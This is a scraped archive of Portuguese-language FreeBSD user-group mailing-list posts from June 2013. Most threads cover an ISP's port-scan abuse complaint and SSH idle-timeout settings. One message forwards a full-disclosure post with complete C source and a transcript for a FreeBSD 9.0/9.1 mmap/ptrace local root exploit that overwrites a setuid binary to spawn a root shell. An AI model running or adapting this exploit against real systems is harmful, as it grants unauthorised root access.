>> > "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
>> > "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
>> >
>> >
>> > Pois bem, pesquisando descobri que o range de portas 6881-6999 é usado
>> > por DHT no protocolo BitTorrent.
>> >
>> >
>> > Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é que
>> > trata-se de um port scan...
>> >
>> >
>> > Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
>> > evitar este tipo de problema?
>> >
>> >
>> > Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
>> > rotear sub-redes do meu bloco de IPs.
>> >
>> >
>> > Obrigado.
>> >
>> >
>> Marcio,
>>
>> Primeiro de tudo. De onde partiu o provável scan é um servidor seu ou um
>> cliente de IP dinâmico?
>> Acredito que seja um servidor e se for sugiro olhar os processos rodando
>> e checagens habituais pois você poderia estar com algo rodando nele.
>> Como você mesmo disse essa porta é utilizada para conexões entrantes de
>> torrents. O deluged mesmo é um server que escuta nessa porta por padrão
>> se eu não estou enganado. Dá uma auditada nesse seu servidor.
>>
>> Grande abraço,
>> Gondim
>>
>> -
>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>
>
> Humm, Valeu Marcelo, vou verificar isso. Embora o acesso a esses
> servidores seja bem restrito. Todas as portas de acesso a ele estão abertas
> somente para um servidor que controla nossa intranet...
>
> Bom, auditarei o mesmo como vc falou e qualquer coisa volto a questionar
> aqui.
>
> Obrigado por hora.
>
>
>
> Bom, verifiquei os processos, e não encontrei nenhuma anomalia. Não
contente com isso, instalei o chkrootkit e rodei ele no server em questão
para verificar algum possível rootkit instalado, mais também nada...

Acho mesmo que esse port scan partiu de um cliente de de uma rede atrás
deste servidor (os clientes tem ips inválidos e passam por um NAT).

Algum conselho pra evitar esse tipo de serviço por parte dos usuários
conectados a meu servidor por meio de IPFW?

Ou que seja por outro software..

Obrigado
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] TCP PORT SCAN

[Márcio Elias]

2013/6/20 Marcelo Gondim 

> Em 20/06/13 09:35, Márcio Elias escreveu:
> > Bom dia colegas,
> >
> > trabalho em um ISP e recebi um e-mail do registro.br que me gerou
> algumas
> > dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
> > realizado a partir de um de nossos IPs para um determinado ip na porta
> 6881.
> >
> > Abaixo vou colocar o e-mail recebido (com dados mascarados) para que vcs
> > possam me dar a opinião de vcs sobre isso,
> >
> > Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
> > xxx.xxx.3.103/32 (PORT:6881)
> >
> > "Caro Sr. ,
> >
> > Favor investigar o incidente descrito com os logs parciais abaixo,
> > e dar o devido tratamento reportando com copia para todos os enderecos
> > listados acima com as providencias/medidas tomadas para que tal evento
> > nao volte a se repetir.
> >
> > No caso de tratamento indevido deste evento com reincidencia, serao
> > adotadas politicas unilaterais de protecao pelo Registro.br.
> >
> >
> >
> Logs---
> > "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
> >
> >
> > Pois bem, pesquisando descobri que o range de portas 6881-6999 é usado
> > por DHT no protocolo BitTorrent.
> >
> >
> > Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é que
> > trata-se de um port scan...
> >
> >
> > Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
> > evitar este tipo de problema?
> >
> >
> > Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
> > rotear sub-redes do meu bloco de IPs.
> >
> >
> > Obrigado.
> >
> >
> Marcio,
>
> Primeiro de tudo. De onde partiu o provável scan é um servidor seu ou um
> cliente de IP dinâmico?
> Acredito que seja um servidor e se for sugiro olhar os processos rodando
> e checagens habituais pois você poderia estar com algo rodando nele.
> Como você mesmo disse essa porta é utilizada para conexões entrantes de
> torrents. O deluged mesmo é um server que escuta nessa porta por padrão
> se eu não estou enganado. Dá uma auditada nesse seu servidor.
>
> Grande abraço,
> Gondim
>
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Humm, Valeu Marcelo, vou verificar isso. Embora o acesso a esses servidores
seja bem restrito. Todas as portas de acesso a ele estão abertas somente
para um servidor que controla nossa intranet...

Bom, auditarei o mesmo como vc falou e qualquer coisa volto a questionar
aqui.

Obrigado por hora.
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Rafael Henrique Faria]

2013/6/20 Rodrigo Gonçalves Crescencio :
> Pessoal bom dia !
>
>
>
> Estou tentando configurar o timeout do SSH, porem o mesmo não está atuando,
> no sshd_config foram descomentadas e configuradas as linhas abaixo:
>
>
>
> #ClientAliveInterval 15
>
> #ClientAliveCountMax 3
>
>
>
> Resalvo que fixei o Protocolo na versão 2, mas não estou conseguindo fazer
> com que ele deslogue a conexão mesmo deixando ela por horas inativa. Meu
> acesso é pelo PUTTY, onde também no mesmo fixei para utilizar o Protocolo 2.
>
>
>
> Vocês poderiam me dar uma dica.
>
>
>
> Vlw galera.
>
>
>
> Att,
>
> Rodrigo Crescencio.
>
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Bom dia Rodrigo.

Eu também não acho que essa configuração faça exatamente o que você deseja.
Mas eu deixo um timeout de 3 minutos para meus shells, assim se eu
esquecer aberto ele desloga sozinho, incluindo o SSH.

Basta colocar no .cshrc do seu usuário (e do root também caso você o
rode com "su", eu deixo 1 minuto para o root):

set autologout = 3

Com isso, o próprio shell fará o logout. Funciona bem.

--
Rafael Henrique da Silva Faria
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] TCP PORT SCAN

[Marcelo Gondim]

Em 20/06/13 09:35, Márcio Elias escreveu:
> Bom dia colegas,
>
> trabalho em um ISP e recebi um e-mail do registro.br que me gerou algumas
> dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
> realizado a partir de um de nossos IPs para um determinado ip na porta 6881.
>
> Abaixo vou colocar o e-mail recebido (com dados mascarados) para que vcs
> possam me dar a opinião de vcs sobre isso,
>
> Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
> xxx.xxx.3.103/32 (PORT:6881)
>
> "Caro Sr. ,
>
> Favor investigar o incidente descrito com os logs parciais abaixo,
> e dar o devido tratamento reportando com copia para todos os enderecos
> listados acima com as providencias/medidas tomadas para que tal evento
> nao volte a se repetir.
>
> No caso de tratamento indevido deste evento com reincidencia, serao
> adotadas politicas unilaterais de protecao pelo Registro.br.
>
>
> Logs---
> "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
>
>
> Pois bem, pesquisando descobri que o range de portas 6881-6999 é usado
> por DHT no protocolo BitTorrent.
>
>
> Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é que
> trata-se de um port scan...
>
>
> Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
> evitar este tipo de problema?
>
>
> Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
> rotear sub-redes do meu bloco de IPs.
>
>
> Obrigado.
>
>
Marcio,

Primeiro de tudo. De onde partiu o provável scan é um servidor seu ou um 
cliente de IP dinâmico?
Acredito que seja um servidor e se for sugiro olhar os processos rodando 
e checagens habituais pois você poderia estar com algo rodando nele. 
Como você mesmo disse essa porta é utilizada para conexões entrantes de 
torrents. O deluged mesmo é um server que escuta nessa porta por padrão 
se eu não estou enganado. Dá uma auditada nesse seu servidor.

Grande abraço,
Gondim

-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

[FUG-BR] TCP PORT SCAN

[Márcio Elias]

Bom dia colegas,

trabalho em um ISP e recebi um e-mail do registro.br que me gerou algumas
dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
realizado a partir de um de nossos IPs para um determinado ip na porta 6881.

Abaixo vou colocar o e-mail recebido (com dados mascarados) para que vcs
possam me dar a opinião de vcs sobre isso,

Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
xxx.xxx.3.103/32 (PORT:6881)

"Caro Sr. ,

Favor investigar o incidente descrito com os logs parciais abaixo,
e dar o devido tratamento reportando com copia para todos os enderecos
listados acima com as providencias/medidas tomadas para que tal evento
nao volte a se repetir.

No caso de tratamento indevido deste evento com reincidencia, serao
adotadas politicas unilaterais de protecao pelo Registro.br.


Logs---
"2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
"2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
"2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"


Pois bem, pesquisando descobri que o range de portas 6881-6999 é usado
por DHT no protocolo BitTorrent.


Mais pelo que entendi no e-mail (ou melhor pelo título do mesmo) é que
trata-se de um port scan...


Vcs acham que é essa mesma a reclamação? Quais seus conselhos para
evitar este tipo de problema?


Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW para
rotear sub-redes do meu bloco de IPs.


Obrigado.


-- 
Att.
__
Márcio Elias Hahn do Nascimento

Araranguá - SC
Cel:   (55) 48-9661-0233
msn: marcioeliash...@hotmail.com
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

[FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Marcelo Gondim]

É pessoal,

Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para 
detectar isso?  :(
E funciona lindo mesmo o programa.


 Mensagem original 
Assunto:Happy Birthday FreeBSD! Now you are 20 years old and your 
security is the same as 20 years ago... :)
Data:   Wed, 19 Jun 2013 23:32:59 +0200
De: Hunger 
Para:   full-disclos...@lists.grok.org.uk



$ uname -a
FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
4 09:23:10 UTC 2012
r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
$ id
uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
$ gcc fbsd9lul.c -o fbsd9lul
$ ./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger 
# id
uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
#


 code =

/*
  * FreeBSD 9.{0,1} mmap/ptrace exploit
  * by Hunger
  *
  * Happy Birthday FreeBSD!
  * Now you are 20 years old and your security is the same as 20 years ago...
  *
  * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof,
  *  sd, sghctoma, snq, spender, s2crew and others at #hekkcamp:
  *  I hope we'll meet again at 8@1470n
  *
  * Special thanks to proactivesec.com
  *
  */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SH "/bin/sh"
#define TG "/usr/sbin/timedc"

int
main(int ac, char **av) {
int from_fd, to_fd, status;
struct stat st;
struct ptrace_io_desc piod;
char *s, *d;
pid_t pid;

if (geteuid() == 0)  {
 setuid(0);
 execl(SH, SH, NULL);
 return 0;
}

printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
printf("by Hunger\n");

if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
 (to_fd = open(TG, O_RDONLY)) == -1)
 err(1, "open");

if (stat(av[0], &st) == -1)
 err(2, "stat");

if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
 MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
 (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
 MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)
 err(3, "mmap");

if ((pid = fork()) == -1)
 err(4, "fork");

if (!pid) {
 if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
 err(5, "ptraceme");

 return 0;
 }

if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
 err(6, "ptattach");

if (wait(&status) == -1)
 err(7, "wait");

piod.piod_op = PIOD_WRITE_D;
piod.piod_offs = d;
piod.piod_addr = s;
piod.piod_len  = st.st_size;

if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
 err(8, "ptio");

execl(TG, TG, NULL);

return 0;
}



-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Welkson Renny de Medeiros]

Em 20 de junho de 2013 02:42, Rodrigo Gonçalves Crescencio <
rodr...@rcsolucoesinteligentes.com.br> escreveu:

> Pessoal bom dia !
>
>
>
> Estou tentando configurar o timeout do SSH, porem o mesmo não está atuando,
> no sshd_config foram descomentadas e configuradas as linhas abaixo:
>
>
>
> #ClientAliveInterval 15
>
> #ClientAliveCountMax 3
>
>

Acredito que esse parâmetro não detecta inatividade.

Veja se isso ajuda:
http://www.dicas-l.com.br/arquivo/variavel_tmout.php#.UcLznD5gZvY
http://forums.freebsd.org/showthread.php?t=6171

Welkson
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Eduardo Lemos de Sa]

Caríssimos


2013/6/20 Adonai Silveira Canez 

> Rodrigo, no putty tem uma opção na aba connection para manter a
> conexão ativa, se ela estiver habilitada creio que o servidor não
> corte a tua conexão.
>
> Adonai
>
> Em 20 de junho de 2013 02:42, Rodrigo Gonçalves Crescencio
>  escreveu:
> > Pessoal bom dia !
> >
> >
> >
> > Estou tentando configurar o timeout do SSH, porem o mesmo não está
> atuando,
> > no sshd_config foram descomentadas e configuradas as linhas abaixo:
> >
> >
> >
> > #ClientAliveInterval 15
> >
> > #ClientAliveCountMax 3
> >
> >
> >
> > Resalvo que fixei o Protocolo na versão 2, mas não estou conseguindo
> fazer
> > com que ele deslogue a conexão mesmo deixando ela por horas inativa. Meu
> > acesso é pelo PUTTY, onde também no mesmo fixei para utilizar o
> Protocolo 2.
> >
> >
> >
> > Vocês poderiam me dar uma dica.
> >
> >
> >
> > Vlw galera.
> >
> >
>

É meio óbvio, mas não custa perguntar: foi feito o restart do sshd?

Um abraço

Edu



> >
> > Att,
> >
> > Rodrigo Crescencio.
> >
> > -
> > Histórico: http://www.fug.com.br/historico/html/freebsd/
> > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>



-- 
Eduardo Lemos de Sa
Associated Professor Level 4
Dep. Quimica da Universidade Federal do Paraná
fone: +55(41)3361-3300
fax:   +55(41)3361-3186
Voip Number call to (41) 33613600 (listen to the message and type 10531185)
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Adonai Silveira Canez]

Rodrigo, no putty tem uma opção na aba connection para manter a
conexão ativa, se ela estiver habilitada creio que o servidor não
corte a tua conexão.

Adonai

Em 20 de junho de 2013 02:42, Rodrigo Gonçalves Crescencio
 escreveu:
> Pessoal bom dia !
>
>
>
> Estou tentando configurar o timeout do SSH, porem o mesmo não está atuando,
> no sshd_config foram descomentadas e configuradas as linhas abaixo:
>
>
>
> #ClientAliveInterval 15
>
> #ClientAliveCountMax 3
>
>
>
> Resalvo que fixei o Protocolo na versão 2, mas não estou conseguindo fazer
> com que ele deslogue a conexão mesmo deixando ela por horas inativa. Meu
> acesso é pelo PUTTY, onde também no mesmo fixei para utilizar o Protocolo 2.
>
>
>
> Vocês poderiam me dar uma dica.
>
>
>
> Vlw galera.
>
>
>
> Att,
>
> Rodrigo Crescencio.
>
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd